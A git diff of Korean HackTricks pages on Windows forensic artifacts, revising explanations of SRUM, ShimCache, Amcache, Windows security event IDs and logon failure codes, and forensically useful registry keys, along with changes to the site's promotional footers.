이 정보는 60분마다 업데이트됩니다.
|
||||
이 정보는 매 60분마다 업데이트됩니다.
|
||||
|
||||
이 파일에서 날짜를 얻을 수 있는 도구인 [**srum\_dump**](https://github.com/MarkBaggett/srum-dump)를 사용할 수 있습니다.
|
||||
이 파일에서 데이터를 얻을 수 있는 도구는 [**srum\_dump**](https://github.com/MarkBaggett/srum-dump)입니다.
|
||||
```bash
|
||||
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
|
||||
```
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
**AppCompatCache**(ShimCache)은 **Microsoft**가 개발한 **Application Compatibility Database**의 일부로, 응용 프로그램 호환성 문제를 해결하기 위해 만들어졌습니다. 이 시스템 구성 요소는 다음과 같은 파일 메타데이터를 기록합니다:
|
||||
**AppCompatCache**(ShimCache)은 **Microsoft**이 개발한 **Application Compatibility Database**의 일부로, 응용 프로그램 호환성 문제를 해결하기 위해 만들어졌습니다. 이 시스템 구성 요소는 다음과 같은 파일 메타데이터를 기록합니다:
|
||||
|
||||
- 파일의 전체 경로
|
||||
- 파일의 크기
|
||||
- **$Standard\_Information** (SI) 하위의 최종 수정 시간
|
||||
- ShimCache의 최종 업데이트 시간
|
||||
- **$Standard\_Information** (SI) 하위의 마지막 수정 시간
|
||||
- ShimCache의 최근 업데이트 시간
|
||||
- 프로세스 실행 플래그
|
||||
|
||||
이러한 데이터는 운영 체제 버전에 따라 레지스트리의 특정 위치에 저장됩니다:
|
||||
|
@ -332,7 +333,7 @@ Windows 레지스트리는 다음 위치에 포함된 파일에 포함되어 있
|
|||
|
||||
**Amcache.hve** 파일은 시스템에서 실행된 응용 프로그램에 대한 세부 정보를 기록하는 레지스트리 하이브입니다. 일반적으로 `C:\Windows\AppCompat\Programas\Amcache.hve`에서 찾을 수 있습니다.
|
||||
|
||||
이 파일은 최근 실행된 프로세스의 기록뿐만 아니라 실행 파일의 경로와 SHA1 해시를 포함하여 중요한 정보를 저장합니다. 이 정보는 시스템에서 응용 프로그램의 활동을 추적하는 데 귀중합니다.
|
||||
이 파일은 최근에 실행된 프로세스의 레코드를 저장하며, 실행 파일의 경로와 그들의 SHA1 해시를 포함합니다. 이 정보는 시스템에서 응용 프로그램의 활동을 추적하는 데 귀중합니다.
|
||||
|
||||
**Amcache.hve**에서 데이터를 추출하고 분석하려면 [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) 도구를 사용할 수 있습니다. 다음 명령은 **Amcache.hve** 파일의 내용을 구문 분석하고 결과를 CSV 형식으로 출력하는 방법의 예시입니다:
|
||||
```bash
|
||||
|
@ -344,7 +345,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
|
|||
|
||||
### RecentFileCache
|
||||
|
||||
이 아티팩트는 `C:\Windows\AppCompat\Programs\RecentFileCache.bcf`에서 W7에서만 찾을 수 있으며 일부 이진 파일의 최근 실행에 대한 정보를 포함합니다.
|
||||
이 아티팩트는 `C:\Windows\AppCompat\Programs\RecentFileCache.bcf`에만 W7에서 찾을 수 있으며 일부 이진 파일의 최근 실행에 대한 정보를 포함합니다.
|
||||
|
||||
파일을 구문 분석하려면 [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) 도구를 사용할 수 있습니다.
|
||||
|
||||
|
@ -361,7 +362,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
|
|||
설치된 애플리케이션은 `\ProgramData\Microsoft\Windows\AppRepository\`에서 찾을 수 있습니다.\
|
||||
이 저장소에는 시스템에 설치된 각 애플리케이션에 대한 **로그**가 **`StateRepository-Machine.srd`** 데이터베이스 내부에 있습니다.
|
||||
|
||||
이 데이터베이스의 Application 테이블에서 "Application ID", "PackageNumber", "Display Name" 열을 찾을 수 있습니다. 이 열에는 사전 설치된 및 설치된 애플리케이션에 대한 정보가 있으며 설치된 애플리케이션의 ID가 연속적이어야 하는지 확인할 수 있습니다.
|
||||
이 데이터베이스의 Application 테이블에서 "Application ID", "PackageNumber", "Display Name" 열을 찾을 수 있습니다. 이 열에는 사전 설치된 및 설치된 애플리케이션에 대한 정보가 포함되어 있으며 설치된 애플리케이션의 ID는 연속적이어야 합니다.
|
||||
|
||||
또한 레지스트리 경로에서 **설치된 애플리케이션**을 찾을 수 있습니다: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
그리고 **설치 해제된 애플리케이션**은 여기에서 찾을 수 있습니다: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
|
@ -380,7 +381,7 @@ Windows 이벤트 내에서 나타나는 정보는 다음과 같습니다:
|
|||
|
||||
이벤트 파일의 위치는 SYSTEM 레지스트리에서 **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**에서 찾을 수 있습니다.
|
||||
|
||||
Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](https://eventlogxp.com) **또는** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**와 같은** 다른 도구로 시각화할 수 있습니다.
|
||||
Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](https://eventlogxp.com)와 같은 다른 도구로 이를 시각화할 수 있습니다. **또는** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
|
||||
## Windows 보안 이벤트 로깅 이해
|
||||
|
||||
|
@ -388,54 +389,58 @@ Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](ht
|
|||
|
||||
### 사용자 인증을 위한 주요 이벤트 ID:
|
||||
|
||||
- **EventID 4624**: 사용자가 성공적으로 인증됨을 나타냅니다.
|
||||
- **EventID 4625**: 인증 실패를 신호합니다.
|
||||
- **EventIDs 4634/4647**: 사용자 로그오프 이벤트를 나타냅니다.
|
||||
- **EventID 4672**: 관리 권한으로 로그인을 나타냅니다.
|
||||
- **이벤트 ID 4624**: 사용자가 성공적으로 인증됨을 나타냅니다.
|
||||
- **이벤트 ID 4625**: 인증 실패를 신호합니다.
|
||||
- **이벤트 ID 4634/4647**: 사용자 로그오프 이벤트를 나타냅니다.
|
||||
- **이벤트 ID 4672**: 관리 권한으로 로그인을 나타냅니다.
|
||||
|
||||
#### EventID 4634/4647 내의 하위 유형:
|
||||
#### 이벤트 ID 4634/4647 내의 하위 유형:
|
||||
|
||||
- **Interactive (2)**: 직접 사용자 로그인.
|
||||
- **Network (3)**: 공유 폴더 액세스.
|
||||
- **Batch (4)**: 일괄 프로세스 실행.
|
||||
- **Service (5)**: 서비스 시작.
|
||||
- **Proxy (6)**: 프록시 인증.
|
||||
- **Unlock (7)**: 암호로 화면 잠금 해제.
|
||||
- **Network Cleartext (8)**: IIS에서의 평문 암호 전송.
|
||||
- **New Credentials (9)**: 액세스를 위한 다른 자격 증명 사용.
|
||||
- **Remote Interactive (10)**: 원격 데스크톱 또는 터미널 서비스 로그인.
|
||||
- **Cache Interactive (11)**: 도메인 컨트롤러 연락 없이 캐시된 자격 증명으로 로그인.
|
||||
- **Cache Remote Interactive (12)**: 캐시된 자격 증명으로 원격 로그인.
|
||||
- **Cached Unlock (13)**: 캐시된 자격 증명으로 잠금 해제.
|
||||
- **대화형 (2)**: 직접 사용자 로그인.
|
||||
- **네트워크 (3)**: 공유 폴더 액세스.
|
||||
- **일괄 (4)**: 일괄 프로세스 실행.
|
||||
- **서비스 (5)**: 서비스 시작.
|
||||
- **프록시 (6)**: 프록시 인증.
|
||||
- **잠금 해제 (7)**: 암호로 화면 잠금 해제.
|
||||
- **네트워크 평문 (8)**: 평문 암호 전송, 주로 IIS에서.
|
||||
- **새 자격 증명 (9)**: 액세스에 다른 자격 증명 사용.
|
||||
- **원격 대화형 (10)**: 원격 데스크톱 또는 터미널 서비스 로그인.
|
||||
- **캐시 대화형 (11)**: 도메인 컨트롤러 연락 없이 캐시된 자격 증명으로 로그인.
|
||||
- **캐시 원격 대화형 (12)**: 캐시된 자격 증명으로 원격 로그인.
|
||||
- **캐시된 잠금 해제 (13)**: 캐시된 자격 증명으로 잠금 해제.
|
||||
|
||||
#### EventID 4625의 상태 및 하위 상태 코드:
|
||||
#### 이벤트 ID 4625의 상태 및 하위 상태 코드:
|
||||
|
||||
- **0xC0000064**: 사용자 이름이 존재하지 않음 - 사용자 이름 열거 공격을 나타낼 수 있습니다.
|
||||
- **0xC000006A**: 올바른 사용자 이름이지만 잘못된 암호 - 암호 추측 또는 무차별 대입 시도가 있을 수 있습니다.
|
||||
- **0xC0000234**: 사용자 계정 잠금 - 다수의 로그인 실패로 인한 무차별 대입 공격을 나타낼 수 있습니다.
|
||||
- **0xC0000234**: 사용자 계정 잠금 - 여러 번의 실패한 로그인을 따르는 무차별 대입 공격을 나타낼 수 있습니다.
|
||||
- **0xC0000072**: 계정 비활성화 - 비활성화된 계정에 대한 무단 액세스 시도가 있을 수 있습니다.
|
||||
- **0xC000006F**: 허용된 시간 외 로그인 - 설정된 로그인 시간 외에 액세스 시도가 있을 수 있으며, 무단 액세스의 가능성이 있습니다.
|
||||
- **0xC000006F**: 허용된 시간 외 로그인 - 설정된 로그인 시간 외에 액세스 시도가 있음을 나타내며, 무단 액세스의 가능성이 있습니다.
|
||||
- **0xC0000070**: 워크스테이션 제한 위반 - 무단 위치에서 로그인 시도가 있을 수 있습니다.
|
||||
- **0xC0000193**: 계정 만료 - 만료된 사용자 계정으로의 액세스 시도가 있을 수 있습니다.
|
||||
- **0xC0000071**: 암호 만료 - 오래된 암호로의 로그인 시도가 있을 수 있습니다.
|
||||
- **0xC0000133**: 시간 동기화 문제 - 클라이언트와 서버 간의 큰 시간 차이는 패스더티켓과 같은 고급 공격의 징후일 수 있습니다.
|
||||
- **0xC0000193**: 계정 만료 - 만료된 사용자 계정으로의 액세스 시도가 있습니다.
|
||||
- **0xC0000071**: 암호 만료 - 오래된 암호로의 로그인 시도가 있습니다.
|
||||
- **0xC0000133**: 시간 동기화 문제 - 클라이언트와 서버 간의 큰 시간 차이는 패스더티켓과 같은 더 정교한 공격을 나타낼 수 있습니다.
|
||||
- **0xC0000224**: 필수 암호 변경 필요 - 빈번한 필수 변경은 계정 보안을 불안정하게 만들려는 시도일 수 있습니다.
|
||||
- **0xC0000225**: 보안 문제가 아닌 시스템 버그를 나타냅니다.
|
||||
- **0xC000015b**: 거부된 로그온 유형 - 사용자가 서비스 로그온을 실행하려고 시도하는 등의 무단 로그온 유형으로의 액세스 시도가 있을 수 있습니다.
|
||||
- **0xC000015b**: 거부된 로그온 유형 - 사용자가 서비스 로그온을 실행하려고 하는 것과 같은 무단 로그온 유형으로의 액세스 시도가 있을 수 있습니다.
|
||||
|
||||
#### EventID 4616:
|
||||
- **시간 변경**: 시스템 시간 변경, 사건 타임라인을 혼란스럽게 할 수 있습니다.
|
||||
#### 이벤트 ID 4616:
|
||||
|
||||
#### EventID 6005 및 6006:
|
||||
- **시스템 시작 및 종료**: EventID 6005는 시스템 시작을 나타내고, EventID 6006은 시스템 종료를 나타냅니다.
|
||||
- **시간 변경**: 시스템 시간 변경, 이벤트 타임라인을 혼란스럽게 할 수 있습니다.
|
||||
|
||||
#### EventID 1102:
|
||||
- **로그 삭제**: 불법 활동을 숨기기 위한 보안 로그 삭제.
|
||||
#### 이벤트 ID 6005 및 6006:
|
||||
|
||||
- **시스템 시작 및 종료**: 이벤트 ID 6005는 시스템 시작을 나타내고, 이벤트 ID 6006은 시스템 종료를 표시합니다.
|
||||
|
||||
#### 이벤트 ID 1102:
|
||||
|
||||
- **로그 삭제**: 불법 활동을 숨기기 위한 경고 신호인 보안 로그의 삭제.
|
||||
|
||||
#### USB 장치 추적을 위한 이벤트 ID:
|
||||
|
||||
#### USB 장치 추적을 위한 EventID:
|
||||
- **20001 / 20003 / 10000**: USB 장치 최초 연결.
|
||||
- **10100**: USB 드라이버 업데이트.
|
||||
- **EventID 112**: USB 장치 삽입 시간.
|
||||
- **이벤트 ID 112**: USB 장치 삽입 시간.
|
||||
#### 시스템 전원 이벤트
|
||||
|
||||
EventID 6005은 시스템 시작을 나타내며, EventID 6006은 종료를 표시합니다.
|
||||
|
@ -449,16 +454,17 @@ EventID 6005은 시스템 시작을 나타내며, EventID 6006은 종료를 표
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
### 흥미로운 Windows 레지스트리 키
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
{% endhint %}
|
||||
|
||||
### **Windows 버전 및 소유자 정보**
|
||||
- **`Software\Microsoft\Windows NT\CurrentVersion`**에 위치한 Windows 버전, 서비스 팩, 설치 시간 및 등록된 소유자 이름을 간단하게 찾을 수 있습니다.
|
||||
- **`Software\Microsoft\Windows NT\CurrentVersion`**에 위치한 이곳에서 Windows 버전, 서비스 팩, 설치 시간 및 등록된 소유자 이름을 간단하게 찾을 수 있습니다.
|
||||
|
||||
### **컴퓨터 이름**
|
||||
- 호스트 이름은 **`System\ControlSet001\Control\ComputerName\ComputerName`** 아래에서 찾을 수 있습니다.
|
||||
|
@ -27,56 +27,81 @@ HackTricks를 지원하는 다른 방법:
|
|||
- 시스템의 시간대는 **`System\ControlSet001\Control\TimeZoneInformation`**에 저장됩니다.
|
||||
|
||||
### **접근 시간 추적**
|
||||
- 기본적으로 마지막 접근 시간 추적은 꺼져 있습니다 (**`NtfsDisableLastAccessUpdate=1`**). 활성화하려면 다음을 사용하세요:
|
||||
- 기본적으로 마지막 접근 시간 추적은 꺼져 있습니다 (**`NtfsDisableLastAccessUpdate=1`**). 이를 활성화하려면 다음을 사용하세요:
|
||||
`fsutil behavior set disablelastaccess 0`
|
||||
|
||||
### Windows 버전 및 서비스 팩
|
||||
- **Windows 버전**은 에디션 (예: Home, Pro) 및 릴리스 (예: Windows 10, Windows 11)를 나타내며, **서비스 팩**은 수정 사항과 때로는 새로운 기능을 포함한 업데이트입니다.
|
||||
- **Windows 버전**은 에디션 (예: 홈, 프로) 및 릴리스 (예: Windows 10, Windows 11)을 나타내며, **서비스 팩**은 수정 사항과 때로는 새로운 기능을 포함하는 업데이트입니다.
|
||||
|
||||
### 마지막 접근 시간 활성화
|
||||
- 마지막 접근 시간 추적을 활성화하면 파일이 마지막으로 열린 시간을 확인할 수 있으며, 이는 포렌식 분석이나 시스템 모니터링에 중요할 수 있습니다.
|
||||
- 마지막 접근 시간 추적을 활성화하면 파일이 마지막으로 열린 시간을 확인할 수 있어서 포렌식 분석이나 시스템 모니터링에 중요할 수 있습니다.
|
||||
|
||||
### 네트워크 정보 세부 사항
|
||||
- 레지스트리에는 네트워크 구성에 대한 포괄적인 데이터가 저장되어 있으며, 이는 네트워크 보안 설정 및 권한 이해에 중요합니다. 이 데이터에는 **네트워크 유형 (무선, 케이블, 3G)** 및 **네트워크 범주 (공용, 개인/홈, 도메인/작업)**가 포함됩니다.
|
||||
### 네트워크 정보 세부사항
|
||||
- 레지스트리에는 네트워크 구성에 대한 포괄적인 데이터가 저장되어 있으며, **네트워크 유형(무선, 케이블, 3G)** 및 **네트워크 범주(공용, 개인/홈, 도메인/작업)**를 포함하고 있어 네트워크 보안 설정 및 권한을 이해하는 데 중요합니다.
|
||||
|
||||
### 클라이언트 측 캐싱 (CSC)
|
||||
- **CSC**는 공유 파일의 복사본을 캐싱하여 오프라인 파일 액세스를 향상시킵니다. 다양한 **CSCFlags** 설정은 어떤 파일이 어떻게 캐시되는지를 제어하며, 연결이 불안정한 환경에서는 성능과 사용자 경험에 영향을 줄 수 있습니다.
|
||||
- **CSC**는 공유 파일의 복사본을 캐싱하여 오프라인 파일 액세스를 향상시킵니다. 다양한 **CSCFlags** 설정은 어떤 파일이 어떻게 캐싱되는지를 제어하며, 일시적인 연결이 있는 환경에서는 성능 및 사용자 경험에 영향을 줄 수 있습니다.
|
||||
|
||||
### 자동 시작 프로그램
|
||||
- 다양한 `Run` 및 `RunOnce` 레지스트리 키에 나열된 프로그램은 자동으로 시작되어 시스템 부팅 시간에 영향을 주며, 악성 코드 또는 원치 않는 소프트웨어를 식별하는 데 중요한 지점이 될 수 있습니다.
|
||||
- 다양한 `Run` 및 `RunOnce` 레지스트리 키에 나열된 프로그램들은 자동으로 시작되어 시스템 부팅 시간에 영향을 주며, 악성 코드나 원치 않는 소프트웨어를 식별하는 데 중요할 수 있습니다.
|
||||
|
||||
### Shellbags
|
||||
- **Shellbags**는 폴더 보기에 대한 환경 설정뿐만 아니라 폴더가 더 이상 존재하지 않더라도 폴더 접근에 대한 포렌식 증거를 제공합니다. 다른 수단으로는 명확하지 않은 사용자 활동을 밝혀내는 데 귀중합니다.
|
||||
### 쉘백
|
||||
- **쉘백**은 폴더 보기에 대한 환경 설정 뿐만 아니라 폴더 액세스에 대한 포렌식 증거를 제공합니다. 다른 방법으로는 명확하지 않은 사용자 활동을 드러내는 조사에 귀중합니다.
|
||||
|
||||
### USB 정보 및 포렌식
|
||||
- 레지스트리에 저장된 USB 장치에 대한 세부 정보는 컴퓨터에 연결된 장치를 추적하는 데 도움이 될 수 있으며, 민감한 파일 전송이나 무단 액세스 사건과 장치를 연결할 수 있습니다.
|
||||
- USB 장치에 대한 레지스트리에 저장된 세부 정보는 컴퓨터에 연결된 장치를 추적하는 데 도움이 될 수 있으며, 민감한 파일 전송이나 무단 액세스 사건과 연결될 수 있습니다.
|
||||
|
||||
### 볼륨 일련 번호
|
||||
- **볼륨 일련 번호**는 파일 시스템의 특정 인스턴스를 추적하는 데 중요할 수 있으며, 파일의 원본을 다른 장치에서 확인해야 하는 포렌식 시나리오에 유용합니다.
|
||||
- **볼륨 일련 번호**는 파일 시스템의 특정 인스턴스를 추적하는 데 중요할 수 있으며, 파일 원본을 다른 장치 간에 확립해야 하는 포렌식 시나리오에서 유용합니다.
|
||||
|
||||
### **종료 세부 정보**
|
||||
- 종료 시간 및 횟수 (XP의 경우에만 해당)는 **`System\ControlSet001\Control\Windows`** 및 **`System\ControlSet001\Control\Watchdog\Display`**에 저장됩니다.
|
||||
- 종료 시간 및 횟수 (XP의 경우에만)는 **`System\ControlSet001\Control\Windows`** 및 **`System\ControlSet001\Control\Watchdog\Display`**에 저장됩니다.
|
||||
|
||||
### **네트워크 구성**
|
||||
- 자세한 네트워크 인터페이스 정보는 **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**를 참조하세요.
|
||||
- VPN 연결을 포함한 첫 번째 및 마지막 네트워크 연결 시간은 **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**의 다양한 경로에 기록됩니다.
|
||||
- VPN 연결을 포함한 첫 번째 및 마지막 네트워크 연결 시간은 **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**의 다양한 경로에 로깅됩니다.
|
||||
|
||||
### **공유 폴더**
|
||||
- 공유 폴더 및 설정은 **`System\ControlSet001\Services\lanmanserver\Shares`**에 있습니다. 클라이언트 측 캐싱 (CSC) 설정은 오프라인 파일의 가용성을 결정합니다.
|
||||
- 공유 폴더 및 설정은 **`System\ControlSet001\Services\lanmanserver\Shares`**에 있습니다. 클라이언트 측 캐싱 (CSC) 설정은 오프라인 파일 가용성을 결정합니다.
|
||||
|
||||
### **자동으로 시작되는 프로그램**
|
||||
- **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** 및 `Software\Microsoft\Windows\CurrentVersion`의 유사한 항목과 같은 경로에 나열된 프로그램은 시작 시 자동으로 실행됩니다.
|
||||
### **자동으로 시작하는 프로그램**
|
||||
- **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`**과 `Software\Microsoft\Windows\CurrentVersion` 하위 항목과 같은 경로는 시작 시 실행되는 프로그램을 자세히 설명합니다.
|
||||
|
||||
### **검색 및 입력된 경로**
|
||||
- 탐색기 검색 및 입력된 경로는 레지스트리의 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`**에 WordwheelQuery 및 TypedPaths로 추적됩니다.
|
||||
- 탐색기 검색 및 입력된 경로는 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`**의 WordwheelQuery 및 TypedPaths 아래에서 레지스트리에 추적됩니다.
|
||||
|
||||
### **최근 문서 및 Office 파일**
|
||||
- 최근에 액세스한 문서 및 Office 파일은 `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` 및 특정 Office 버전 경로에 기록됩니다.
|
||||
- 액세스한 최근 문서 및 Office 파일은 `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` 및 특정 Office 버전 경로에 기록됩니다.
|
||||
|
||||
### **가장 최근에 사용된 (MRU) 항목**
|
||||
- 최근 파일 경로 및 명령을 나타내는 MRU 목록은 `NTUSER.DAT`의 다양한 `ComDlg32` 및 `Explorer` 하위 키에 저장됩니다.
|
||||
|
||||
### **사용자 활동 추적**
|
||||
- User Assist 기능은 애플리케이션 사용 횟수 및 마지막 실행 시간을 포함한 자세한 사용 통계를 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**에 기록합니다.
|
||||
- 사용자 어시스트 기능은 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**에서 실행 횟수 및 마지막 실행 시간을 포함한 자세한 응용 프로그램 사용 통계를 기록합니다.
|
||||
|
||||
### **Shell
|
||||
### **쉘백 분석**
|
||||
- 폴더 액세스 세부 정보를 나타내는 쉘백은 `USRCLASS.DAT` 및 `NTUSER.DAT`의 `Software\Microsoft\Windows\Shell`에 저장됩니다. 분석을 위해 **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)**를 사용하세요.
|
||||
|
||||
### **USB 장치 이력**
|
||||
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** 및 **`HKLM\SYSTEM\ControlSet001\Enum\USB`**에는 제조사, 제품 이름 및 연결 타임스탬프를 포함한 연결된 USB 장치에 대한 상세 정보가 포함되어 있습니다.
|
||||
- 특정 USB 장치와 연결된 사용자는 장치의 **{GUID}**를 검색하여 파악할 수 있습니다.
|
||||
- 마지막으로 마운트된 장치 및 해당 볼륨 일련 번호는 각각 `System\MountedDevices` 및 `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`를 통해 추적할 수 있습니다.
|
||||
|
||||
이 안내서는 Windows 시스템에서 상세한 시스템, 네트워크 및 사용자 활동 정보에 액세스하기 위한 중요한 경로와 방법을 명확하고 사용하기 쉽게 요약합니다.
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
